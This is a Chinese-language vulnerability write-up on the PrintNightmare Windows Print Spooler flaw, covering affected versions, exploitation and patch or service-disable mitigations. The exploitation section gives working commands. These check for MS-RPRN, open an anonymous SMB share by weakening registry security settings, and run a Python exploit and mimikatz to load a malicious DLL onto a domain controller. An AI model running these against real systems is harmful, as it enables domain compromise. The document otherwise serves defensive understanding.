windows print spooler权限提升漏洞(printnightmare)
目录
一:漏洞概述
二:影响范围
三:漏洞利用
漏洞过程
创建匿名SMB共享
使用Python脚本攻击
使用mimikatz攻击
四:漏洞防护
4.1 官方升级
4.2 临时防护措施
一
漏洞概述
2021年6月9日,微软发布了6月份的安全更新补丁,修复了50个安全漏洞,其中包括一个Windows Print Spooler权限提升漏洞(CVE-2021-1675),该漏洞被标记为提权漏洞。普通用户可以利用此漏洞以管理员身份在运行打印后台处理程序服务的系统上执行代码。然而,在6月21日,微软将该漏洞升级为远程代码执行漏洞。
2021年6月29日,有安全研究员在GitHub上公布了打印机漏洞利用代码。然而,令人惊讶的是,该漏洞利用代码针对的是一个与CVE-2021-1675类似但不完全相同的漏洞,并且微软针对此漏洞并未推出更新补丁,因此这是一个0day漏洞,这个0day漏洞被称为PrintNightmare,最新的漏洞编号为CVE-2021-34527。
Print Spooler是Windows系统中用于管理打印相关事务的服务,用于后台执行打印作业并处理与打印机的交互,管理所有本地和网络打印队列及控制所有打印工作。该服务对应的进程spoolsv.exe以SYSTEM权限执行,其设计中存在的一个严重缺陷,由于SeLoadDriverPrivilege中的鉴权存在代码缺陷,参数可以被攻击者控制,普通用户可以通过RPC触发RpcAddPrinterDrive绕过安全检查并写入恶意驱动程序。如果一个域中存在此漏洞,域中普通用户即可通过连接域控Spooler服务,向域控中添加恶意驱动,从而控制整个域环境。
二
影响范围
受影响版本包括:
- Windows Server 2012 R2 (Server Core installation)
- Windows Server 2012 R2
- Windows Server 2012 (Server Core installation)
- Windows Server 2012
- Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
- Windows Server 2008 R2 for x64-based Systems Service Pack 1
- Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
- Windows Server 2008 for x64-based Systems Service Pack 2
- Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
- Windows Server 2008 for 32-bit Systems Service Pack 2
- Windows RT 8.1
- Windows 8.1 for x64-based systems
- Windows 8.1 for 32-bit systems
- Windows 7 for x64-based Systems Service Pack 1
- Windows 7 for 32-bit Systems Service Pack 1
- Windows Server 2016 (Server Core installation)
- Windows Server 2016
- Windows 10 Version 1607 for x64-based Systems
- Windows 10 Version 1607 for 32-bit Systems
- Windows 10 for x64-based Systems
- Windows 10 for 32-bit Systems
- Windows Server, version 20H2 (Server Core Installation)
- Windows 10 Version 20H2 for ARM64-based Systems
- Windows 10 Version 20H2 for 32-bit Systems
- Windows 10 Version 20H2 for x64-based Systems
- Windows Server, version 2004 (Server Core installation)
- Windows 10 Version 2004 for x64-based Systems
- Windows 10 Version 2004 for ARM64-based Systems
- Windows 10 Version 2004 for 32-bit Systems
- Windows 10 Version 21H1 for 32-bit Systems
- Windows 10 Version 21H1 for ARM64-based Systems
- Windows 10 Version 21H1 for x64-based Systems
- Windows 10 Version 1909 for ARM64-based Systems
- Windows 10 Version 1909 for x64-based Systems
- Windows 10 Version 1909 for 32-bit Systems
- Windows Server 2019 (Server Core installation)
- Windows Server 2019
- Windows 10 Version 1809 for ARM64-based Systems
- Windows 10 Version 1809 for x64-based Systems
- Windows 10 Version 1809 for 32-bit Systems
三
漏洞利用
漏洞过程
- 首先,我们搭建一个SMB匿名共享,放置我们的恶意DLL文件。
- 然后执行利用工具,工具运行后会先检测C:\Windows\System32\DriverStore\FileRepository目录下的ntprint.inf_amd64_xx文件名,并自动替换。

接着,工具会远程拉取我们设置的匿名共享的恶意DLL文件。Python脚本会将我们的恶意DLL文件传到域控的C:\Windows\System32\spool\drivers\x64\3\目录下并执行。而mimikatz则会将我们的恶意DLL文件传到域控的C:\Windows\System32\spool\drivers\x64\old\2\目录下并执行(会创建old\2\目录)。检测是否存在漏洞
首先检测目标机器是否开启了MS-RPRN服务,如果存在则可以尝试利用:
python3 rpcdump.py @10.211.55.14 | grep MS-RPRN

创建匿名SMB共享
mkdir C:\share icacls C:\share\ /T /grant "ANONYMOUS LOGON":r icacls C:\share\ /T /grant Everyone:r New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone' REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
执行完以上语句后,部分机器需要重启。
使用Python脚本攻击
python3 CVE-2021-1675.py xie.com/test:P@ss1234@10.211.55.14 '\\10.211.55.7\share\1.dll'

使用mimikatz攻击
mimikatz.exe misc::printnightmare /server:10.211.55.14 /library:\\10.211.55.7\share\1.dll

实战测试攻击Windows Server 2016、2019均能成功上线。Server 2012只能上传恶意DLL,不能执行上线,08未攻击成功。
四
漏洞防护
4.1
官方升级
目前,微软官方已针对支持的系统版本发布了修复该漏洞的安全补丁,强烈建议受影响用户尽快安装补丁进行防护。官方下载链接:https://www.php.cn/link/304153cda8ac325dcd383ed8e5026d8e
注意:由于网络问题、计算机环境问题等原因,Windows Update的补丁更新可能出现失败。用户在安装补丁后,应及时检查补丁是否成功更新。右键点击Windows图标,选择“设置(N)”,选择“更新和安全”-“Windows更新”,查看该页面上的提示信息,也可点击“查看更新历史记录”查看历史更新情况。针对未成功安装的更新,可点击更新名称跳转到微软官方下载页面,建议用户点击该页面上的链接,转到“Microsoft更新目录”网站下载独立程序包并安装。
4.2
临时防护措施
如果相关用户暂时无法进行补丁更新,可以通过禁用Print Spooler服务来进行缓解:
- 在服务应用(services.msc)中找到Print Spooler服务。

- 停止运行服务,同时将“启动类型”修改为“禁用”。

参考:
https://www.php.cn/link/c56b7becfe4383d3ef77d68c78a5d2bd
https://www.php.cn/link/5b48cf6d948c70034f7a239f8e5c566d










